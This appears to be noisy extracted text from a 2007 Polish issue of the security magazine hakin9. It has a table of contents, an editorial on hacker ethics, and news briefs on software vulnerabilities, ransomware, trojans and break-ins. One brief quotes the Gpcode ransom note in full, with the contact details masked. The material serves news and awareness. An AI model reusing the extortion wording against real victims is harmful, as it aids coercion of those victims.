Hakin9 30 (10 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 10/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Recenzja MindMap 5 Professional

12

Recenzja Directory Opus 9

13

Początki

Ataki SQL Injection w praktyce

14

Dawid Gołuński

Dawid w swoim artykule mówi na czym polegają ataki

SQL Injection oraz jakie niosą zagrożenia. Pokaże

krok po kroku techniki używane podczas ataku oraz

metody obrony.

Atak

Luki w VoIP

26

Tomasz Piotrowski, Szczepan Wójcik, Mikołaj Wiśniewski, Woj-

ciech Mazurczyk

Autorzy przedstawią w jaki sposób zabezpieczyć

systemy VoIP, na co zwracać uwagę przy kupowa-

niu i wdrażaniu tych systemów oraz jakie luki bezpie-

czeństwa znajdują się w systemie Asterisk.

Atak hakera na Twój komputer

36

Bartosz Kalinowski

Bartek w swoim artykule scharakteryzuje system,

w którym można dostrzec obecność intruza i jakie

zostawia po sobie ślady.

Łamanie klucza rejestracji

Windows XP

48

Rafał Podsiadły

Rafał opisał w swoim artykule jak zaczyna życie naj-

popularniejszy system operacyjny.

Witam!

Terminy haker, cracker kojarzą się zwykłym ludziom raczej

z pojęciem cyberprzestępcy, jednak bardziej wtajemniczeni

wiedzą, że te dwa typy różnią się od siebie.

Jak zapewne Państwo wiedzą, hakerzy to osoby, które

szukają luk w oprogramowaniu komputerowym, a później

wykorzystują taką wiedzę, aby uzyskać dostęp do zabezpie-

czonych zasobów. Natomiast cracker to osoba zajmująca się

łamaniem zabezpieczeń komputerowych. Hakerzy, skupie-

ni w społeczności hakerskiej, używają terminu cracker dla

odróżnienia się od przestępców; z kolei crackerzy terminu

haker używają na określenie włamywaczy sieciowych.

Obie wspomniane grupy ludzi działają z różnych pobu-

dek. Jedni włamują się do serwisów komputerowych, aby

wykryć luki, a potem szantażują właścicieli portali. A drudzy

pracują teraz dla firm takich jak TrendMicro i pomagają im

stworzyć szczepionki przeciwko nowym zagrożeniom, jakie

stawia przed nami Sieć. Motywem działań hakerów i cracke-

rów jest także chęć pozyskania rozgłosu i wywołania ogól-

nego chaosu.

Istnieje swoisty podział hakerów pod względem etyki:

black hat (hakerzy działający na pograniczu lub poza

granicami prawa), white hat (hakerzy działający w imię

prawa, nie chcący popełnić szkód), grey hat (grupa znaj-

dująca się pomiędzy dwiema omawianymi wyżej katego-

riami).

My, jako Redakcja, mamy do czynienia ze wszystki-

mi omawianymi grupami hakerów, jednak cenimy tych z

grupy white hat. Nasi Czytelnicy bardzo dobrze zdają

sobie z tego sprawę. Mieliśmy wiele ciekawych artyku-

łów poświęconych wykrywaniu luk w takich portalach,

jak Allegro, Onet czy mBank. Umieszczaliśmy je w celu

tylko i wyłącznie informacyjnym, aby uczulić omawia-

ne serwisy na opisane zagrożenia. Mam nadzieję, że

zamieszczane przez nas artykuły pomogły już niejedne-

mu Czytelnikowi, dlatego chciałam gorąco polecić arty-

kuł Bartosza Kalinowskiego Obroń swój komputer przed

hakerem!!! Bartek w swoim tekście pokazuje przeróżne

zachowania systemu świadczące o obecności hakera.

Godnym przeczytania artykułem jest pozycja kilku auto-

rów pt. Luki w Voip.

W październikowym hakin9 przedstawiamy wywiad z

bardzo interesującym człowiekiem, jakim jest komisarz

Zbigniew Urbański. Z rozmowy nasi Czytelnicy dowie-

dzą się co nieco o samym bohaterze, a także o pirac-

twie komputerowym widzianym okiem policjanta i orga-

nów ścigania.

W numerze, który mają Państwo w rękach, jak zwykle

nie zabraknie wielu ciekawych programów, na CD znajdują

się m. in. G DATA Antivirus, F-Secure Internet Security oraz

dwa nowe tutoriale.

Życzę przyjemnej lektury!

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 10/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Opera – mechanizmy ochrony

przed oszustwami

56

Marcin Kopeć

Marcin w swoim tekście przedstawia w jaki sposób

działa mechanizm ochrony przed oszustwami zaim-

plementowanymi w przeglądarce internetowej Opera.

Konfiguracja serwera ISS dla

ASP.NET z protokołem SSL

62

Sławomir Orłowski, Jacek Matulewski

Sławek i Jacek przybliżą Czytelnikom temat konfigu-

racji serwera ISS do obsługi stron ASP.NET z uwie-

rzytelnieniem SSL.

Bezpieczna firma

Audyt systemów informatycznych

68

Wojciech Malec

Wojtek postara się wyjaśnić termin audytu informa-

tycznego oraz przedstawi najważniejsze organizacje

zawodowe właściwe dla audytu informatycznego.

Księgozbiór

72

Recenzujemy książki: Kryptografia w Javie. Od pod-

staw oraz Apache. Zabezpieczenia aplikacji i serwe-

rów WWW.

Wywiad

Wywiad z komisarzem Zbigniewem

Urbańskim

74

Katarzyna Juszczyńska, Robert Gontarski

Komisarz Zbigniew Urbański ekspert do spraw prze-

stępczości komputerowej.

Klub Techniczny

Trend Micro dla MSP

77

Felieton

Druga strona medalu

78

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor:
Sylwia Pogroszewska

Redaktor naczelna: Martyna Żaczek

martyna.zaczek@software.com.pl

Redaktorzy prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Robert Gontarski

robert.gontarski@software.com.pl

Wyróżnieni betatesterzy: Przemysław Prytek, Paweł Lisowski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 10/2007

Błąd w Xvid 1.1.2

W popularnym zestawie kode-

ków wideo Xvid 1.1.2 wykryto lukę,

która umożliwia atakującemu cał-

kowite przejęcie kontroli nad ata-

kowanym komputerem. Gdy użyt-

kownik komputera uruchomi odpo-

wiednio spreparowany plik .AVI

dochodzi do ataku za pomocą apli-

kacji, która odwołuje się do progra-

mu Xvid. Błąd występuje w pliku

mbcoding.c w funkcjach get_intra_

block, get_inter_block_h263 oraz

get_inter_block_mpeg. Podat-

ne są na niego zarówno aplikacje

dla systemu Windows, jak i Linux.

Xvid to kodek obrazu zgodny z ISO

MPEG-4, wydany na licencji GNU

GPL. Jego nazwa jest celowym

anagramem nazwy kodeka DivX,

który jest zamkniętą implementacją

tego samego standardu.

Haker odcina dostęp

do kont emailowych

na UK2.net...

Domena internetowa UK2.net stała

się celem ataku hakera, pozo-

stawiając tym samym internau-

tów czasowo odciętych od dostę-

pu do emaili. Internauci pojawia-

jący się na stronie 12 lipca ujrzeli

przeobrażoną witrynę. Najwidocz-

niej była to sprawka islamskiego

hakera. Wiele osób zwróciło się do

nas w tej sprawie z informacjami,

że nie są w stanie wejść na swoje

konta – mówią pracownicy portalu.

Doświadczenia czytelnika Andy’e-

go są typowe: UK2 była (dla mnie)

nieosiągalna od godziny 6:00 tego

ranka, gdy nie działał email przez

POP3. Próbowałem jeszcze raz o

12 w południe za pomocą POP3 i

strony internetowej, ale bez rezul-

tatu, oba nie działały – jedyne co

mogły mi zaoferować to zmienio-

ną stronkę. Wcześniej też miałem

dużo problemów z UK2. Moje

konta były niestabilne przez 3 tygo-

dnie pod koniec maja i na począt-

ku czerwca. Czasami działało, ale

zazwyczaj odmawiało posłuszeń-

stwa. Firma oficjalnie ogłosiła, że w

godzinach porannych we czwartek

stała się ofiarą ataku hakerskiego.

Atak uniemożliwił internautom wej-

ście na stronę UK2 i na skrzynkę

emailową. UK.net na swoich stro-

nach napisał, że ta kwestia została

już rozwiązana przez specjalistów.

Pomimo tego, jak dodali, niektórzy

użytkownicy mogli mieć problemy z

dostępem do serwisu, dopóki DNS

nie naniesie zmian.

Kaspersky Anti-Virus na liście 100

najlepszych produktów IT 2007

K

aspersky Lab, producent roz-
wiązań służących do ochro-

ny danych, informuje o otrzyma-
niu wyjątkowego wyróżnienia: pro-
gram Kaspersky Anti-Virus 6.0
znalazł się na liście 100 najlep-
szych produktów IT 2007 opubliko-
wanej przez PC World. Amerykań-
ski magazyn PC World kolejny raz
już w okresie wakacyjnym opubli-
kował listę 100 najlepszych, najno-
wocześniejszych oraz najbardziej
docenionych przez konsumen-
tów produktów z branży informa-
tycznej i internetowej. Zestawienie
obejmuje wiele różnorodnych pro-
duktów (sprzęt, oprogramowanie,
serwisy oraz usługi internetowe).
Na 55 miejscu listy, jako jedyny
komercyjny program antywirusowy
uwzględniony w zestawieniu, zna-
lazł się Kaspersky Anti-Virus. Pełna
lista dostępna jest pod adresem:
http://www.pcworld.com/article/
id,131935 -page,13 /ar ticle.html
Kaspersky Anti-Virus to program

antywirusowy firmy Kaspersky
Lab, zapewniający ochronę przed
zagrożeniami płynącymi z sieci
Internet (wirusy, robaki, konie tro-
jańskie, adware, spyware). Kasper-
sky Anti-Virus współpracuje z sys-
temami Windows 98/Me/XP, NT
Workstation oraz Windows 2000
Professional.

Fake stron Apple

S

pecjaliści z Sunbelt odkryli
nowego trojana, który próbu-

je wyciągać pieniądze od użytkow-
ników poprzez fikcyjną sprzedaż
najnowszego dziecka koncernu
Apple, iPhone. Eksperci z Sunbelt
twierdzą, że trojan mógł powstać
na

zamówienie

przestępców,

a w dodatku jest słabo wykrywal-
ny przez aplikacje antywirusowe.
Podczas odwiedzin google.com lub
yahoo.com wirus pokazuje na ekra-
nie okienka popup, które zawiera-
ją między innymi informację: sup-
ported by Google
oraz supported
by Yahoo
. Kliknięcie w reklamę w
zainfekowanym systemie kończy
się przekierowaniem na specjalnie
przygotowaną wersję strony, gdzie
internauta może wypełnić formu-
larz zamówienia i dokonać prze-
lewu gdzieś do banku na Łotwie
zamiast na konta Apple. iPhone
to urządzenie posiadające funk-

cje telefonu komórkowego, odtwa-
rzacza MP3 (iPod) i komunikatora
internetowego, jak nazwała tę funk-
cję Apple Inc. Nowatorskim rozwią-
zaniem w urządzeniu była rezy-
gnacja z jakiejkolwiek klawiatu-
ry – zamiast tego iPhone posiada
ekran dotykowy, przy którym użyto
technologię o nazwie Multi-Touch:
zamiast korzystać z rysika, wszyst-
ko wciska się jednym lub kilko-
ma palcami dłoni. iPhone działa
na zoptymalizowanej wersji Mac
OS X. System zajmuje około 700
MB. Bateria w iPhonie nie powin-
na być wymieniana przez użyt-
kownika. Według producenta, czas
pracy baterii to: do 24 godzin słu-
chania muzyki, do 8 godzin rozmo-
wy, do 7 godzin oglądania filmów,
do 6 godzin przeglądania Interne-
tu, bądź do 250 godzin czuwania,
jednak czas ten zależy od różnych
ustawień.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 10/2007

iPhone częściowo złamany

Jon Lech Johansen, czyli sławny

DVD Jon, złamał część zabez-

pieczeń nowego iPhone’a. Ujaw-

nił sposób aktywacji nowego tele-

fonu firmy Apple bez potrzeby wią-

zania się umową z jedynym w Sta-

nach Zjednoczonych autoryzowa-

nym dostawcą – AT&T. Jon napi-

sał specjalny program, który imituje

zachowanie serwera odpowiadają-

cego za aktywację urządzeń przez

firmę Apple. Kompletną instrukcję

przeprowadzenia procesu aktywa-

cji i kod źródłowy programu zastę-

pującego serwer aktywujący tele-

fony można znaleźć w blogu DVD

Jona. Jon Lech Johansen jest nor-

weskim programistą zaangażo-

wanym w rozkodowywanie syste-

mów zabezpieczeń. Jego ojciec

jest Norwegiem, a matka – Polką.

Uczestniczył w stworzeniu progra-

mu deszyfrującego zakodowane

filmy DVD – DeCSS. Jon stworzył

także zestaw otwartych sterow-

ników do odtwarzacza MP3 Jaz-

Piper (OpenJaz, 2001) i program

QTFairUse do odczytywania zako-

dowanych strumieni AAC (2003).

W 2004 r. dołączył do zespołu pro-

gramistów VideoLAN, dla które-

go opracował wtyczkę do odtwa-

rzania mediów zabezpieczonych

systemem FairPlay oraz sposób

odtwarzania materiałów zakodowa-

nych w WMV9. Zdołał też ominąć

zabezpieczenia protokołu AirPort

Express firmy Apple i algorytmu

ochrony plików NSC z Windows

Media Playera.

Początek ery

petaflopsowych komputerów

E

lektroniczny gigant IBM zapre-
zentował najszybszy komputer

świata – Blue Gene/P. który jest
sto tysięcy razy szybszy niż prze-
ciętny komputer biurowy. Pręd-
kość superkomputera to mniej
więcej jeden petaflop (1 petaflop
= 1,000 teraflopów = 1,000,000
gigaflopów), czyli tysiąc bilionów
operacji na sekundę. Taką spraw-
ność zapewnia 294.912 rdzeni pro-
cesora IBM PowerPC 450, z któ-
rych każdy jest taktowany zegarem
o częstotliwości 850 MHz. Cztery
rdzenie tworzą jeden procesor.
System operacyjny superkompute-
ra bazuje na Linuksie, a aplikacje
można tworzyć w standardowych
językach programowania, takich
jak Fortran, C czy C++. Za pierw-
szy superkomputer uznaje się CDC

6600, który powstał w 1963 roku
według projektu i pod ścisłym nad-
zorem Seymoura Craya. Maszyna
wykonywała 3 miliony operacji na
sekundę. Był to pierwszy kompu-
ter, w którym zastosowano tranzy-
story krzemowe oraz nowatorską
technikę chłodzenia podzespołów
freonem. Najpotężniejszą maszy-
ną w Polsce jest klaster HOLK.
Komputer, znajdujący się w Cen-
trum Informatycznym Trójmiejskiej
Akademickiej Sieci Komputerowej,
został zbudowany w 2003 roku
i wówczas znajdował się na 231
pozycji TOP500. Maszyna zarzą-
dzana przez system GNU/Linux
(dystrybucja Debian), której teore-
tyczna moc obliczeniowa sięga 1.5
TFLOPS, jest wykorzystywana do
obliczeń naukowych.

Wirus – szantażysta

S

pecjaliści z Kaspersky Lab
wykryli nową odmianę wirusa

Gpcode, który szyfruje pliki na dys-
kach ofiar i żąda okupu w wysoko-
ści 300 dolarów za przywrócenie
do nich dostępu. Robak Virus.Wi-
n32.Gpcode
do szyfrowania plików
wykorzystuje złożony algorytm infor-
mując że jest to RSA-4096, co nie
jest prawdą, bo jak ustalili eksper-
ci z Kaspersky Lab jest to algorytm
RC4. Autorami wirusa najprawdopo-
dobniej są Rosjanie. Na zaatakowa-
nym komputerze wirus umieszcza
również plik o nazwie read_me.txt,
w którym umieszczona jest taka oto
informacja:

Hello, your files are encrypted

with RSA-4096 algorithm (http://
en.wikipedia.org/wiki/RSA). You will
need at least few years to decrypt
these files without our software. All
your private information for last 3
months were collected and sent to
us. To decrypt your files you need
to buy our software. The price is
$300. To buy our software please
contact us at: xxxxxxx@xxxxx.com

and provide us your personal code
-xxxxxxxxx. After successful purcha-

se we will send your decrypting tool,
and your private information will be
deleted from our system. If you will
not contact us until 07/15/2007 your
private information will be shared
and you will lost all your data. Gla-
morous team.

Witaj, twoje pliki zostały zaszy-

frowane przy użyciu algorytmu
RSA-4096 (http://en.wikipedia.org/
wiki/RSA)
. Bez naszego oprogra-
mowania odszyfrowanie tych plików
zajmie ci przynajmniej kilka lat. Od
trzech miesięcy twoje poufne infor-
macje były gromadzone i wysyłane
do nas. Aby odszyfrować swoje dane,
musisz kupić nasze oprogramowa-
nie. Jego cena to $300. W celu doko-
nania zakupu skontaktuj się z nami
pod adresem xxxxxxx@xxxxx.com i
załącz swój osobisty kod - xxxxxxxxx.
Po dokonaniu zakupu, prześlemy
ci narzędzie deszyfrujące a twoje
poufne informacje zostaną skaso-
wane z naszego systemu. Jeżeli nie
skontaktujesz się z nami do 15 lipca
2007 twoje poufne informacje zosta-
ną udostępnione w Internecie. Gla-
morous team.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 10/2007

IE7 podatny na spoofing

Firma Secunia poinformowała o

wykrytej przez Michała Zalew-

skiego luce w przeglądarce

Microsoftu – Internet Exlporer 7.

Błąd występuje w metodzie docu-

ment.open() i pozwala na sfał-

szowanie źródłowego adresu IP

nawet w przypadku, gdy ręcz-

nie wpiszemy adres nowej strony.

(tzw. spoofing) Michał Zalew-

ski, stwierdził: lukę można wyko-

rzystać tylko wówczas, gdy jest

uruchomiony JavaScript. Do tej

pory Microsoft nie przygotował

łatki na ten błąd, ewentualne-

go występowania luki nie spraw-

dzano w przeglądarce Inter-

net Explorer 6. Internet Explo-

rer w wersji Windows, rozwijany

jest na bazie kodu Mosaic zaku-

pionego od firmy Spyglass. Pro-

gram został oficjalnie zaprezento-

wany 23 sierpnia 1995 roku. Naj-

ważniejsze nowości w wersji IE

7: przeglądanie stron w kartach,

narzędzia wykorzystujące RSS i

Atom, obsługa przezroczystych

grafik PNG, ulepszona architek-

tura, mająca lepiej chronić przed

wirusami i robakami.

Włamanie na brytyjski

serwis firmy Microsoft

Wykryto podatność na atak typu

SQL Injection na brytyjskiej stro-

nie Microsoftu. Dziura umożliwia-

ła m. in. wyciągnięcie listy użyt-

kowników i ich zakodowanych

haseł, a także modyfikowanie

tabel. Podatność na atak wykry-

to na stronie przeznaczonej dla

partnerów. Haker z Arabii Sau-

dyjskiej ukrywający się pod pseu-

donimem rEmOtEr umieścił w

Internecie nagranie z włamania,

które niestety jest już niedostęp-

ne. Po bardziej wnikliwej analizie

wykazano, że serwis jest również

podatny na atak typu Cross Site

Scripting.

Atak typu SQL Injection polega

na takiej manipulacji aplikacją

komunikującą się z bazą danych,

aby ta umożliwiła atakującemu

uzyskanie dostępu lub modyfika-

cję danych, do których nie posia-

da on uprawnień. W praktyce

polega to na wykorzystaniu inter-

fejsu użytkownika (adresu URL,

formularza HTML/XML, okna dia-

logowego itp.) do wprowadzenia

do aplikacji spreparowanego ciągu

znaków.

Gadający koń trojański

W

Sieci odkryto nowego nie-
zwykle groźnego i złośliwego

konia trojańskiego o nazwie BotVo-
ice.A.
Szkodnik jest o tyle nietypo-
wy, że po przeniknięciu do syste-
mu niszczy dane znajdujące się na
dysku twardym i informuje werbalnie
użytkownika o szkodach, które spo-
wodował (wykorzystując w tym celu
wbudowany do Windows syntezator
mowy): Zostałeś zarażony. Powta-
rzam, zostałeś zarażony, a twoje
pliki systemowe zostały skasowane.
Przykro mi. Miłego dnia i do widzenia.
(You have been infected I repeat you
have been infected and your system
files have been deleted. Sorry. Have
a nice day and bye bye
). BotVoice.A
potrafi m. in. zablokować dostęp do

plików BAT, COM, EXE, MP3 oraz
do Menedżera Zadań i Edytora Reje-
stru. Szkodliwy kod atakuje systemy
Windows 95 i nowsze. Nie zagra-
ża natomiast Windows Vista. Trojan
nie potrafi samodzielnie zainfekować
komputera, konieczna jest interak-
cja ze strony użytkownika. Rozprze-
strzenia się głównie za pośrednic-
twem wymiennych nośników danych
lub sieci komputerowych. BotVo-
ice.A
wykryty został przez specjali-
stów z firmy Panda Software. BotVo-
ice.A
został stworzony tylko po to, by
niszczyć – od lat nie widziałem tak
doskonałego przykładu bezmyślne-
go wandalizmu – komentuje Roger
Thompson, specjalista z firmy Explo-
it Prevention Labs.

Kolejnych 7 polskich studentów

na praktykach w Redmond

M

icrosoft poinformował, że
siedmiu studentów z polskich

uczelni technicznych będzie repre-
zentować nasz kraj podczas tego-
rocznej edycji praktyk, które co
roku odbywają się w centrali firmy
Microsoft Corporation w Redmond.
Do tegorocznej edycji EMEA
Internship Program
polskie uczel-
nie zgłosiły 129 kandydatów, z któ-
rych wybrano siedmiu uczestników.
Jeden z nich weźmie udział w pro-
gramie po raz drugi. Rozmowy z
kandydatami po raz kolejny odbyły
się w Warszawie. Jest to rezultat
wysokiego poziomu reprezentowa-
nego przez studentów pochodzą-
cych z Polski, a co za tym idzie,
dużej liczby potencjalnych prak-
tykantów. Praktyki prowadzone
przez Microsoft w centrali w Red-
mond pozwalają studentom na
udział w rzeczywistych projektach
prowadzonych w korporacji, często
kluczowych dla firmy oraz ważnych
dla branży IT. Udział w progra-
mie to dla większości uczestników
także pierwszy krok do zdobycia
zatrudnienia w firmie Microsoft. Po
zakończeniu stażu studenci mają
rok na skończenie studiów oraz
powrót do Redmond. Do tegorocz-

nej edycji EMEA Internship Pro-
gram
zakwalifikowali się z Polski:
Sylwia Kopczyńska, Piotr Kułaga,
Łukasz Tomczyk, Paweł Baszuro,
Piotr Findeisen, Mike Kaczmarczyk
oraz Szymon Wasik z Politechni-
ki Poznańskiej, Wyższej Szkoły
Informatyki Stosowanej i Zarzą-
dzania w Warszawie, Politechniki
Częstochowskiej, Wyższej Infor-
matycznej Szkoły Zawodowej w
Gorzowie Wielkopolskim oraz Uni-
wersytetu Warszawskiego. „Udział
w programie EMEA Internship
Microsoftu jest dla mnie dosko-
nałą okazją do zdobycia doświad-
czenia w międzynarodowej korpo-
racji. Wyjazd ten pozwoli mi zoba-
czyć, jak wygląda praca w zespole
zajmującym się dużymi projektami
informatycznymi, a w przyszłości
– mam nadzieję – ułatwi mi rów-
nież zdobycie ciekawego i pełne-
go wyzwań zatrudnienia. Jestem
przekonany, że pobyt w kampu-
sie Microsoft w Redmond będzie
jednocześnie okazją do dobrej
zabawy i poznania ciekawych ludzi
z całego świata – powiedział Piotr
Kułaga, student Wyższej Szkoły
Informatyki Stosowanej i Zarzą-
dzania w Warszawie.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 10/2007

Ruszyła internetowa

aukcja exploitów

Jedna z firm szwajcarskich urucho-

miła stronę aukcyjną, na której wysta-

wiane na sprzedaż będą informacje

o nowych lukach w oprogramowa-

niu. Witryna nosi nazwę WabiSabiLa-

bi i jej głównym celem jest nakłonie-

nie specjalistów, którzy znaleźli luki,

by sprzedawali je firmom zaintereso-

wanym w ich załataniu, a nie cyber-

przestępcom. Zdecydowaliśmy się na

uruchomienie serwisu umożliwiające-

go sprzedawanie wyników badań nad

bezpieczeństwem, ponieważ wielu

specjalistów odkrywa luki, ale niewie-

lu z nich informuje o tym odpowied-

nich ludzi. Naszym celem jest umoż-

liwienie im uzyskania uczciwej ceny

za pracę i jednoczesne zapewnie-

nie, że nie będą musieli oddawać jej

wyników za darmo ani sprzedawać

cyberprzestępcom – mówi Herman

Zampariolo, szef firmy. Pomysł szwaj-

carskiej firmy ma zarówno zwolen-

ników, jak i przeciwników. Do kryty-

kantów należy Gunter Ollman, dyrek-

tor IBM Internet Security Systems:

To przypomina witryny, które istnie-

ją na czarnym rynku. Będziemy mieli

do czynienia z tymi samymi ludźmi,

którzy szukają dziur, by je sprze-

dać. To dla nich po prostu dodatkowy

kanał dystrybucji. Korzystanie z serwi-

su będzie darmowe przez sześć mie-

sięcy, potem będą pobierane opłaty w

wysokości 10% kwoty sprzedaży.

Nowa odmiana

virusa Gpcode

W Sieci pojawiła się nowa odmia-

na wirusa Gpcode, która to po zara-

żeniu komputera użytkownika szyfru-

je pliki na dyskach. Wirus za odszyfro-

wanie domaga się zapłaty 300 dola-

rów i informuje, że używa algorytmu

szyfrującego RSA-4096, co nie jest

prawdą. Na dysku pojawia się także

plik tekstowy read_me.txt w którym

możemy przeczytać Hello, your files

are encrypted with RSA-4096 algori-

thm (http://en.wikipedia.org/wiki/RSA).

You will need at least few years to

decrypt these files without our softwa-

re. All your private information for last 3

months were collected and sent to us.

To decrypt your files you need to buy

our software. The price is $300 (...)

Specjaliści z firmy Kaspersky po ana-

lizach doszli do tego, że wykorzysty-

wany jest tu algorytm RC4. Najnow-

sze oprogramowanie firmy Kasper-

sky już radzi sobie z wirusem i odszy-

frowuje pliki. Najprawdopodobniej

autorami wirusa są Rosjanie.

Dziurawy Adobe Flash Player

i Photoshop

P

roducent oprogramowania mul-
timedialnego, firma Adobe Sys-

tems wydała poprawki dla swoich
aplikacji: Flash Playera i Photosho-
pa (CS2/CS3). Poprawki te napra-
wiają usterki bezpieczeństwa, któ-
rych potencjalny intruz może użyć
do wykonania dowolnego kodu. W
Adobe Flash Player wykryto luki,
które m. in. umożliwiają napastni-
kowi zdalne przejęcie pełnej kontro-
li nad systemem. Podatności wystę-
pują w aplikacjach: Adobe Flash
Player w wersji 9.0.45.0 i wcze-
śniejszych, Adobe Flash Player
w wersji 8.0.34.0 i wcześniej-
szych, Adobe Flash Player w wersji
7.0.69.0 i wcześniejszych. Zaktu-
alizowana wersja Flash Playera
9.0.47.0 jest dostępna (podobnie
jak łatki dla wcześniejszych wydań
odtwarzacza) pod adresem: http://
www.adobe.com/go/getflashplayer
.
W oprogramowaniu Photoshop
CS2 i CS3 wykryto błąd, który
pozwala na wstrzyknięcie i uru-
chomienie dowolnego kodu. Istotą
tego błędu jest niepoprawne prze-

twarzanie plików zapisanych w for-
matach PNG, DIB, RLE i BMP. Błąd
w Photoshopie wykrył specjalista
ukrywający się pod pseudonimem
Marsu. Adobe Systems to amery-
kańska firma z siedzibą w San José
w Kalifornii, znana z projektowania
szeroko rozumianego oprogramo-
wania graficznego dla systemów
Mac OS i Windows. Przedsiębior-
stwo założyli w 1982 r. byli pracow-
nicy Xerox PARC, John Warnock i
Charles Geschke. Najważniejsze
produkty firmy to: Adobe Acrobat,
Adobe After Effects, Adobe Illustra-
tor, Adobe InDesign, Adobe Pho-
toshop, Adobe Premiere, Adobe
Reader.

Atak na Pentagon

H

akerzy przeprowadzili skutecz-
ny atak na systemy komputero-

we amerykańskiego ministerstwa
obrony. Pentagon został zmuszony
do wyłączenia części swojego sys-
temu pocztowego, przez co prawie
półtora tysiąca pracowników straci-
ło dostęp do swoich kont e-mailo-
wych. Zdecydowaliśmy się na wyłą-
czenie części systemu pocztowego
OSD w związku z wykryciem wła-
mania do naszej infrastruktury. Nasi
specjaliści wykonali wszelkie nie-
zbędne działania dotyczące zabez-
pieczenia systemu oraz śladów
włamania – spodziewam się, że
wszystkie systemy wrócą online
już wkrótce – mówił na konferen-
cji prasowej Robert Gates, rzecz-
nik prasowy Pentagonu. Przedsta-
wiciele Departamentu Obrony nie

ujawnili żadnych innych informacji
na temat włamania – potwierdzili
jedynie: Atak ten nie miał właściwie
żadnego wpływu na nasze działa-
nia – napastnik nie uzyskał dostę-
pu do żadnych tajnych informacji.
Nasza infrastruktura informatyczna
jest wciąż atakowana, mamy więc
doświadczenie w postępowaniu w
takich sytuacjach.

background image

hakin9.live

hakin9 Nr 10/2007

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l)
w wersji 4.0.2 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,

tutoriale i materiały dodatkowe do artykłów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować sie jako
użytkownik hakin9 bez podawania hasła.

Materiały dodatkowe

• Tutorial podstawy języka Python,
• Tutorial wstęp do free Pascal.

Programy:

• G DATA AntiVirus 2007,
• F-secure Internet Security 2007,
• AVG Anty-Rootkit,
• AVG Antywirus 7.5,
• CureIT.

G DATA AntiVirus 2007

Aktywacja od 5 października. G DATA AntiVirus 2007
umacnia wiodącą pozycję w czołówce programów anty-
wirusowych w dziedzinie wykrywalności wirusów. Dzię-
ki zoptymalizowanej technologii podwójnego skanowania
połączonej z mechanizmem OutbreakShield, nowy anty-
wirus wykrywa wirusy jeszcze dokładniej i szybciej, zu-
żywając jednocześnie znacznie mniej zasobów systemo-
wych. G DATA AntiVirus 2007 usuwa złośliwe oprogramo-
wanie typu spyware, adware, riskware, a także wirusy, tro-
jany, robaki. Gwarantuje jeszcze skuteczniejszą ochronę
przed hakerami.

Program przeznaczony dla użytkowników wymagają-

cych, potrzebujących prostej i szybkiej ochrony kompu-
tera. Dzięki zastosowaniu dwóch silników skanujących
oraz trzech skanerów poczty Twoje dane są w 100%
bezpieczne. To jednak początek długiej listy zalet, doce-
